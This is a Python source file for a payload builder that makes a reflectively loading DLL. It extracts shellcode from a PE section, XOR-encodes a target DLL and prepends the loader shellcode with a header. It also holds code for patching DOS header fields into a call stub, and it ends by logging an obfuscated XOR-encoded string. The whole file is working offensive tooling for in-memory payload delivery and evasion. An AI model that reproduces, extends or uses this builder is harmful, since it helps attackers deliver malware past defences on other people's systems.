Files
2022-03-07 00:26:14 -05:00

176 lines
6.8 KiB
Python

from ast import parse
from genericpath import exists
import os
import hashlib
import pefile
import base64 as b64
import argparse
import logging
TAG_PAYLOAD_BEGIN = 0x4c34314e #'L41N'
REFLECTIVE_LOADER_PIC = []
CALL_REL32 = 0
# 0x41, 0x52,
CALL_REL32_64 = [
# e_cblp
# e_cp
0x40, 0x80, 0xec, 0x30, # add spl 0x30
# e_crlc
# e_cparhdr
# e_minalloc[0]
0xE8, 0, 0, 0, 0, # call rel32
# e_minalloc[1]
# e_maxalloc
# e_ss
0x40, 0x80, 0xc4, 0x28 # sub spl 0x38 (remember MZ is pop r10)
] # total size, 14B, 7 WORD
CALL_REL32_RVA_NEG_OFFSET = len("MZ") + 9
CALL_REL32_RVA_OFFSET = 5
def write_dos_header_jmp(rva, target_pe, dos_header_instruction):
#http://web.archive.org/web/20200806080448/http://www.csn.ul.ie/~caolan/pub/winresdump/winresdump/doc/pefile2.html
# write the four_bytes into the old_bytes_offset
# target_pe.set_bytes_at_offset(old_bytes_offset, four_bytes)
if dos_header_instruction == CALL_REL32:
data = CALL_REL32_64
text_rva = rva
rva -= CALL_REL32_RVA_NEG_OFFSET
rva_bytes = int(rva).to_bytes(4, 'little')
data[CALL_REL32_RVA_OFFSET:CALL_REL32_RVA_OFFSET+4] = rva_bytes
data.append(0xc3) # adding a return
e_cblp = int.from_bytes(data[:2], 'little')
e_cp = int.from_bytes(data[2:4], 'little')
e_crlc = int.from_bytes(data[4:6], 'little')
e_cparhdr = int.from_bytes(data[6:8], 'little')
e_minalloc = int.from_bytes(data[8:10], 'little')
e_maxalloc = int.from_bytes(data[10:12], 'little')
e_ss = int.from_bytes(data[12:], 'little')
target_pe.DOS_HEADER.e_cblp = e_cblp
target_pe.DOS_HEADER.e_cp = e_cp
target_pe.DOS_HEADER.e_crlc = e_crlc
target_pe.DOS_HEADER.e_cparhdr = e_cparhdr
target_pe.DOS_HEADER.e_minalloc = e_minalloc
target_pe.DOS_HEADER.e_maxalloc = e_maxalloc
target_pe.DOS_HEADER.e_ss = e_ss
return True
def get_shellcode_from_section(filename, section):
target_pe = pefile.PE(filename)
for sct in target_pe.sections:
if sct.Name.strip(b'\x00') == section.encode():
shlc = sct.get_data()
return shlc
return None
def prepend_shellcode_blob(src_filename, dest_filename, xor_key=None) -> bool:
global REFLECTIVE_LOADER_PIC
if REFLECTIVE_LOADER_PIC is None or len(REFLECTIVE_LOADER_PIC) == 0:
logging.fatal("Shellcode has not been initialized!")
return False
shlc_bytes = REFLECTIVE_LOADER_PIC
src_bytes = bytearray(open(src_filename, 'rb').read())
if xor_key is not None:
xor_bytes = bytes.fromhex(xor_key)
logging.info("Using XOR key: {}".format(xor_key))
for i in range(0, len(src_bytes)):
src_bytes[i] ^= xor_bytes[i % len(xor_bytes)]
else:
logging.info("Not using xor key")
# what the fuck is scope lmao
xor_key = []
xor_bytes = bytearray()
logging.info("Payload length : {} bytes".format(len(src_bytes)))
shlc_bytes += TAG_PAYLOAD_BEGIN.to_bytes(4, byteorder='little')
shlc_bytes += len(xor_bytes).to_bytes(4, byteorder='little')
shlc_bytes += len(src_bytes).to_bytes(4, byteorder='little')
shlc_bytes += xor_bytes
shlc_bytes += src_bytes
open(dest_filename, 'wb').write(shlc_bytes)
return True
def main():
global REFLECTIVE_LOADER_PIC
parser = argparse.ArgumentParser()
parser.add_argument('-d', action='store_true', default=False, dest='debug', help='Enable debug output')
parser.add_argument('-o', action='store', default=None, dest='outfile', required=True, help='output reflectively loading dll')
parser.add_argument('-f', action='store', default=None, dest='target_file', required=True, help='target file to make reflectively loading')
parser.add_argument('-s', action='store', default=None, dest='shellcode_file',required=False, help='position independent shellcode blob to use as the reflective loader')
parser.add_argument('-pe', action='store', default=None, dest='pefile', required=False, help='PE file to extract shellcode from (must also provide section name)')
parser.add_argument('-sct', action='store', default=None, dest="pesection", required=False, help='PE section to extract shellcode from')
parser.add_argument('-xor', action='store', default=None, dest="xor_key", required=False, help='XOR key to encode the PE with e.g.: 41424142')
parser.add_argument('--dump-shellcode', action='store', default=None, dest='dump_shellcode', help='Dump extracted shellcode from the provided loader file')
args = parser.parse_args()
if args.debug:
logging.basicConfig(level=logging.DEBUG)
else:
logging.basicConfig(level=logging.INFO)
# check target file
target_file = args.target_file
if os.path.exists(args.outfile):
try:
logging.info("removing old file")
os.remove(args.outfile)
except Exception as ex:
logging.info("couldn't delete old file, please manually delete {}".format(args.outfile))
exit(0)
if not os.path.exists(target_file):
logging.fatal("Error, target file {} does not exist".format(target_file))
exit(0)
# if we are extracting shellcode from a PE, do it here
if args.pefile is not None:
if args.pesection is None:
logging.fatal("Cannot get shellcode from PE without providing section name (-sct)")
exit(0)
logging.info("Using custom PE file {}".format(args.pefile))
shlc_pe = get_shellcode_from_section(args.pefile, args.pesection)
if shlc_pe is None:
logging.fatal("Could not extract shellcode from {} - section {}".format(args.pefile, args.pesection))
exit(0)
logging.info("Using shellcode from file - length : {} bytes".format(len(shlc_pe)))
REFLECTIVE_LOADER_PIC = shlc_pe
if args.dump_shellcode:
logging.info("Writing extracted shellcode to {}".format(args.dump_shellcode))
open(args.dump_shellcode,'wb').write(shlc_pe)
logging.info("Written...")
if prepend_shellcode_blob(args.target_file, args.outfile, args.xor_key):
logging.info("Wrote reflective loader and dll to payload file {}".format(args.outfile))
else:
logging.fatal("Failed to write to destination file")
target_bytes = open(args.outfile, 'rb').read()
m = hashlib.sha256()
m.update(target_bytes)
logging.info("Payload file SHA256: {}".format(m.hexdigest()))
logging.info(''.join([chr(0x41 ^ x) for x in [1121, 1026, 1024, 1024, 1147, 1145, 1144, 97, 1139, 1151, 1140, 1148, 1148, 1034, 1144, 97, 1147, 1151, 1025, 1137, 1136, 1146, 1037, 109, 97, 1145, 1141, 1145, 97, 1148, 1137, 97, 1028, 1026, 1144]]))
if __name__ == "__main__":
main()